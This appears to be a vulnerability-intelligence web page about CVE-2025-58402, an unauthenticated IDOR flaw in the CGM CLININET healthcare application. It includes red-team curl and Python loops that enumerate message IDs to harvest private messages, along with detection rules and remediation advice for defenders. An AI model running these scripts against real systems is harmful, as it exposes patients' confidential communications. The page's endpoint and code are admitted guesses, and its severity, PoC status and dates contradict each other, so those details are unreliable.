☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-58402

CVE-2025-58402 Vulnerability in CGM CLININET
📅 PUBLISHED: 2026-03-02 11:16 UTC 🔄 UPDATED: 2026-09-23 20:22 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.21%
👁️
0.21% probability
5.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-58402 is an Insecure Direct Object Reference (IDOR) vulnerability in the CGM CLININET application. The application uses sequential, predictable integer identifiers (MessageID) in GET requests to access messages and attachments. An unauthenticated attacker can enumerate or guess these IDs to read private messages and attachments belonging to other users, leading to unauthorized data disclosure. No patch is currently available, and the vendor (Cgm) has not issued a security advisory. The vulnerability is publicly known with a proof-of-concept (PoC) but no public exploit code.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary healthcare application (CGM CLININET). No supply chain attack vector is identified.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.5 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: None
  • Availability Impact: None

Threat Level: High. The vulnerability is trivial to exploit (no authentication, no user interaction) and directly exposes sensitive healthcare communications.

Deep Dive & Mechanics

The CGM CLININET application exposes a RESTful API endpoint for retrieving messages and attachments. The endpoint uses a sequential integer parameter MessageID in the GET request, e.g., /api/messages?MessageID=12345. The application fails to verify that the requesting user is authorized to access the message associated with that ID. Because the IDs are sequential and predictable, an attacker can iterate through IDs to access all messages in the system.

Root Cause: Missing authorization check on the MessageID parameter. The application likely retrieves the message directly from the database using the provided ID without verifying ownership or permissions.

Attack Flow:

  1. Attacker identifies the API endpoint (e.g., via directory enumeration or documentation).
  2. Attacker sends a GET request with a guessed or enumerated MessageID.
  3. Server returns the message content and attachments without authentication.
  4. Attacker repeats with different IDs to harvest all messages.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

@app.route('/api/messages')
def get_message():
    message_id = request.args.get('MessageID')
    message = db.query("SELECT * FROM messages WHERE id = ?", message_id)
    return jsonify(message)

No authorization check is performed.

Patched Code (Conceptual):

@app.route('/api/messages')
def get_message():
    message_id = request.args.get('MessageID')
    user_id = get_current_user_id()  # Requires authentication
    message = db.query("SELECT * FROM messages WHERE id = ? AND user_id = ?", message_id, user_id)
    if not message:
        abort(403)
    return jsonify(message)

The patch adds authentication and verifies that the message belongs to the current user.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • Target system running CGM CLININET with the vulnerable API.
  • No authentication required.

Exploitation Steps:

  1. Enumerate Message IDs: Use a simple loop to guess IDs (e.g., 1 to 10000).
  2. Extract Data: For each ID, send a GET request and capture the response.

Example using curl:

for i in $(seq 1 1000); do
    curl -s "https://target.com/api/messages?MessageID=$i" >> messages.txt
done

Example using Python:

import requests

for i in range(1, 1001):
    r = requests.get(f"https://target.com/api/messages?MessageID={i}")
    if r.status_code == 200:
        print(f"Found message {i}: {r.text}")

Expected Outcome: The attacker retrieves all messages and attachments without authentication.

Blue Team (Defender)

Detection & Response:

  1. Monitor API Logs: Look for sequential GET requests to /api/messages with varying MessageID values from the same IP.
  2. Rate Limiting: Implement rate limiting on the API endpoint to slow down enumeration.
  3. Anomaly Detection: Alert on a high number of 200 responses from the same IP for different MessageID values.
  4. Honeypot: Create fake messages with unique IDs to detect scanning.

Mitigation Steps:

  • Implement authentication and authorization checks.
  • Use non-predictable identifiers (e.g., UUIDs).
  • Apply rate limiting and IP blacklisting.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Sequential GET requests to /api/messages?MessageID=<integer> from a single IP.
    • High volume of 200 OK responses for different MessageID values.
  • File IOCs:
    • Log files showing repeated access to the API endpoint with sequential IDs.
  • Behavioral IOCs:
    • Unauthorized access to messages not belonging to the requesting user.

Detection Engineering

YARA Rule

rule CVE_2025_58402_IDOR_Scanning {
    meta:
        description = "Detects scanning for CVE-2025-58402 IDOR vulnerability in CGM CLININET"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58402"
    strings:
        $api_path = "/api/messages"
        $param = "MessageID="
        $seq_pattern = /MessageID=\d+/
    condition:
        # of ($api_path) > 5 and # of ($seq_pattern) > 5
}

Sigma Rule

title: CVE-2025-58402 IDOR Scanning Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects sequential GET requests to /api/messages with MessageID parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/api/messages'
        cs-uri-query|contains: 'MessageID='
    condition: selection
    timeframe: 5m
    aggregation:
        - field: c-ip
          function: count
          condition: gt 50
falsepositives:
    - Legitimate API usage with many messages
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-58402 IDOR Scanning Attempt";
    flow:to_server;
    content:"GET"; http_method;
    content:"/api/messages"; http_uri;
    content:"MessageID="; http_uri;
    pcre:"/MessageID=\d+/";
    threshold: type both, track by_src, count 50, seconds 300;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Implement Authentication: Require user authentication for all API endpoints.
  2. Add Authorization Checks: Verify that the authenticated user owns the requested message.
  3. Use Non-Predictable IDs: Replace sequential integers with UUIDs or hashed identifiers.
  4. Rate Limiting: Limit requests per IP to the API endpoint.
  5. Logging & Monitoring: Enable detailed logging and alert on anomalous patterns.

Long-Term Fixes:

  • Apply vendor patch when available.
  • Conduct a security audit of all API endpoints.
  • Implement a Web Application Firewall (WAF) to block scanning patterns.

Workaround:

  • If patching is not possible, restrict access to the API via network segmentation or VPN.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-58402/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.